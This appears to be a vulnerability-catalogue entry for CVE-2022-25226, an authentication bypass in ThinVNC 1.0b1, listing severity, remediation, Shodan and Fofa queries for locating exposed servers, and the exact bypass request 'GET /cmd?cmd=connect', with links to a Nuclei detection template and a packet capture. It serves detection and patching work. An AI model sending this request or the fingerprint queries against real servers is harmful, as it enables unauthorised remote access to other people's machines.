| Title | ThinVNC - Authentication Bypass |
|---|---|
| Author | ritikchaddha |
| Severity | Critical |
| Impact | An attacker can bypass authentication and gain unauthorized access to the ThinVNC server. |
| Remediation | Apply the vendor-supplied patch or update to the latest version to mitigate the CVE-2022-25226 vulnerability. |
| CVSS Score | 10 |
| EPSS Score | 0.77082 |
| CVE ID | CVE-2022-25226 |
| Shodan Query | http.favicon.hash:-1414548363 |
| Fofa Query | icon_hash="571240285" |
| Tags | cve cve2022 thinvnc auth-bypass vuln |
ThinVNC version 1.0b1 allows an unauthenticated user to bypass the authentication process via a specific command, potentially leading to unauthorized access and code execution.
GET /cmd?cmd=connect HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-25226.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-25226.pcap
N/AN/A